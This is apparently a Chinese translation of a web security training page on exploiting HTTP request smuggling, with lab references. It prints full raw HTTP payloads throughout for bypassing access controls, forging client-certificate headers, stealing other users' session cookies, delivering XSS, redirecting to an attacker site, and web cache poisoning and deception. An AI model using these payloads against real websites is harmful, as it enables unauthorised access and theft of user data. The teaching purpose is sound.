利用HTTP请求走私漏洞

在本节中,我们将根据应用程序的预期功能和其他行为,描述HTTP请求走私漏洞可被利用的各种方式。

使用HTTP请求走私绕过前端安全控制

在一些应用程序中,前端Web服务器被用来实现一些安全控制,决定是否允许处理个别请求。允许的请求被转发到后端服务器,在那里它们被视为通过了前端的控制。

例如,假设一个应用程序使用前端服务器来实现访问控制限制,只有在用户被授权访问所请求的URL时才会转发请求。然后,后端服务器不作进一步的检查就接受每个请求。在这种情况下,可以利用HTTP请求走私漏洞来绕过访问控制,通过走私请求访问受限制的URL。

假设当前用户被允许访问/home,但不能访问/admin。他们可以使用以下请求走私攻击来绕过这一限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器在这里看到了两个请求,都是针对/home的,所以这些请求被转发到后端服务器。然而,后端服务器看到一个针对/home的请求和一个针对/admin的请求。它认为(一如既往)这些请求已通过了前端的控制,因此授予对受限URL的访问。

LAB

利用HTTP请求走私绕过前端安全控制,CL.TE漏洞

LAB

利用HTTP请求走私绕过前端安全控制,TE.CL漏洞

揭示前端请求重写

在许多应用程序中,前端服务器在将请求转发到后端服务器之前会对请求进行一些重写,通常是添加一些额外的请求头。例如,前端服务器可能:

  • 终止TLS连接,并添加一些描述所使用的协议和加密算法的标头;

  • 添加一个包含用户IP地址的X-Forwarded-For标头;

  • 根据用户的会话token确定用户ID并添加一个标识用户的标头;

  • 添加一些对其他攻击感兴趣的敏感信息。

在某些情况下,如果你的走私请求缺少一些通常由前端服务器添加的标头,那么后端服务器可能无法以正常方式处理这些请求,导致走私请求无法产生预期效果。

通常有一个简单的方法来揭示前端服务器是如何重写请求的。为此,你需要执行以下步骤:

  • 找到一个POST请求,将一个请求参数的值反射到应用程序的响应中。

  • 对参数进行排序,以便反射的参数出现在消息正文最后的位置。

  • 将此请求走私到后端服务器,紧接着发送一个正常请求,这个请求的重写形式是你想要揭示的。

假设一个应用程序有一个反射email参数值的登录功能:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

这会导致一个包含以下内容的响应:

<input id="email" value="wiener@normal-user.net" type="text">

在这里,你可以使用以下请求走私攻击来揭示由前端服务器执行的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

前端服务器将请求重写,以包含额外的标头,然后后端服务器将处理走私的请求,并将重写的第二个请求视为email参数的值。之后,它将在第二个请求的响应中反射这个值:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

注意

由于最终的请求是被重写的,你不知道它最终会有多长。走私请求中Content-Length标头中的值将决定后端服务器认为该请求有多长。如果你将此值设置得太短,你将只收到重写请求的一部分;如果设置得太长,后端服务器将超时等待请求的完成。当然,解决方案是猜测一个比提交请求稍大的初始值,然后逐渐增加该值以获取更多信息,直到你获取到感兴趣的所有内容。

一旦揭示了前端服务器是如何重写请求的,你就可以对你的走私请求进行必要的重写,以确保后端服务器以预期的方式处理它们。

LAB

利用HTTP请求走私揭示前端请求重写

绕过客户端认证

作为TLS握手的一部分,服务器通过提供一个证书向客户端(通常是浏览器)验证自己。这个证书包含了它们的“公用名”(CN),这应该与它们注册的主机名相匹配。然后,客户端可以使用此信息来验证它们是在与预期域名的合法服务器进行通信。

有些网站更进一步,实现了一种双向TLS认证,其中客户端也必须向服务器提供证书。在这种情况下,客户端的CN通常是用户名或类似的东西,例如,它可以在后端应用程序逻辑中作为访问控制机制的一部分使用。

负责认证客户端的组件通常通过一个或多个非标准HTTP标头将证书中的相关详细信息传递给应用程序或后端服务器。例如,前端服务器有时会在传入请求中附加一个包含客户端CN的标头:

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

由于这些标头应该完全对用户隐藏,所以它们通常会被后端服务器隐式信任。假设你能够发送正确的标头和值,这可能使你能够绕过访问控制。

实际上,由于前端服务器在标头已存在时倾向于覆盖这些标头,所以这种行为通常无法利用。然而,对于被走私的请求,它们完全隐藏在前端之后,因此它们包含的任何标头都会被原样发送到后端。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

捕获其他用户的请求

如果应用程序包含任何一种允许你存储并随后检索文本数据的功能,你就有可能使用此功能来捕获其他用户请求的内容。这可能包括会话token或其他由用户提交的敏感数据。适合作为此攻击载体的功能包括评论、电子邮件、个人资料描述、网名等。

要执行攻击,你需要走私一个将数据提交到存储功能的请求,其中包含要存储的数据的参数位于请求的最后。例如,假设一个应用程序使用以下请求来提交博客文章评论,该评论将被存储并显示在博客上:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

现在考虑一下,如果你使用过长的Content-Length标头和位于请求末尾的comment参数走私一个等效的请求,会发生什么:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

走私请求的Content-Length标头表明请求正文将有400字节长,但我们只发送了144字节。在这种情况下,后端服务器将等待剩余的256字节,然后再发出响应,或者如果这些字节没有足够快到达,则发出超时。因此,当其他请求通过相同的连接被发送到后端服务器时,前256字节实际上将被附加到走私的请求中,如下所示:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

由于受害者请求的开头包含在comment参数中,这将作为评论发布在博客上,使你只需访问相关帖子即可阅读它。

要捕获更多受害者的请求,只需要相应地增加走私请求的Content-Length标头的值,但请注意,这需要一定程度的尝试和错误。如果遇到超时,这可能意味着你指定的Content-Length大于受害者请求的实际长度。在这种情况下,只需减小数值,直到攻击再次奏效。

注意

这种技术的一个局限性是,它通常只能捕获到适用于走私请求的参数定界符之前的数据。对于URL编码的表单提交,这将是&字符,意味着从受害用户的请求中存储的内容将在第一个&处结束,这甚至可能出现在查询字符串中。

LAB

利用HTTP请求走私捕获其他用户的请求

使用HTTP请求走私来利用反射型XSS

如果应用程序容易受到HTTP请求走私的攻击,同时还包含反射型XSS,你可以使用一个请求走私攻击来危害应用程序的其他用户。这种方法比正常利用反射型XSS的方法效果更好,原因有两点:

  • 无需与受害用户互动。你不需要为他们提供一个URL并等待他们访问。你只需走私一个包含XSS payload的请求,下一个被后端服务器处理的用户请求就会受到攻击。

  • 可以用于在正常反射型XSS攻击中,无法轻易控制的请求部分中利用XSS行为,例如HTTP请求标头。

例如,假设一个应用程序在User-Agent标头中存在一个反射型XSS漏洞。你可以通过以下方式在请求走私攻击中利用它:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将被附加到被走私的请求中,他们将在响应中收到反射型XSS payload。

LAB

利用HTTP请求走私传送反射型XSS

使用HTTP请求走私将站内重定向变为开放重定向

许多应用程序会执行站内重定向,从一个URL重定向到另一个URL,并将请求的Host标头中的主机名放入重定向URL中。一个例子是Apache和IIS Web服务器的默认行为,对一个没有尾部斜杠的目录的请求会被重定向到包含尾部斜杠的相同目录:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

这种行为通常被认为是无害的,但是在请求走私攻击中可以利用它将其他用户重定向到一个外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的请求将触发重定向到攻击者的网站,这将影响到下一个由后端服务器处理的用户请求。例如:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

在这里,用户的请求是一个JavaScript文件,该文件由网站上的页面导入。攻击者可以通过在响应中返回他们自己的JavaScript来完全攻击受害用户。

将根相对重定向变为开放重定向

在某些情况下,你可能会遇到服务器级的重定向,例如,使用路径来构造Location标头的根相对的URL:

GET /example HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: /example/

如果服务器允许你在路径中使用协议相对的URL,这仍有可能被用于开放重定向:

GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/

使用HTTP请求走私来执行Web缓存投毒

在前述攻击的一个变种中,可能利用HTTP请求走私来执行Web缓存投毒攻击。如果前端基础设施的任何部分对内容进行了缓存(通常出于性能原因),那么就有可能使用站外重定向响应来投毒缓存。这将使攻击持久化,影响随后请求受影响URL的任何用户。

在这个变种中,攻击者将以下所有内容发送到前端服务器:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

走私的请求到达后端服务器,后端服务器像以前一样回应站外重定向。前端服务器将此响应缓存到其认为是第二个请求中的URL,即/static/include.js

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从这一点开始,当其他用户请求此URL时,他们会收到重定向到攻击者的网站。

LAB

利用HTTP请求走私来执行Web缓存投毒

使用HTTP请求走私来执行Web缓存欺骗

在另一种攻击变种中,你可以利用HTTP请求走私来执行Web缓存欺骗。这与Web缓存投毒攻击的工作方式相似,但目的不同。

Web缓存投毒和Web缓存欺骗之间有什么区别?

  • Web缓存投毒中,攻击者使应用程序将某些恶意内容存储在缓存中,这些内容从缓存中被提供给其他应用程序用户。

  • Web缓存欺骗中,攻击者使应用程序将属于另一个用户的敏感内容存储在缓存中,然后攻击者从缓存中检索这些内容。

在此变种中,攻击者走私一个请求,返回一些敏感的用户特定内容。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

另一个用户转发到后端服务器的下一个请求将被附加到走私的请求中,包括会话cookie和其他标头。例如:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

后端服务器以正常方式响应此请求。请求中的URL是用户的私人消息,该请求在受害用户会话的情况下被处理。前端服务器根据它认为是第二个请求中的URL来缓存这个响应,这个URL是/static/some-image.png

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

然后,攻击者访问静态URL,并从缓存中获取返回的敏感内容。

这里需要注意的一个重要问题是,攻击者不知道敏感内容将被缓存在哪个URL上,因为这将是受害用户在走私请求生效时碰巧请求的URL。攻击者可能需要获取大量静态URL以找到捕获的内容。

LAB

利用HTTP请求走私来执行Web缓存欺骗

Last updated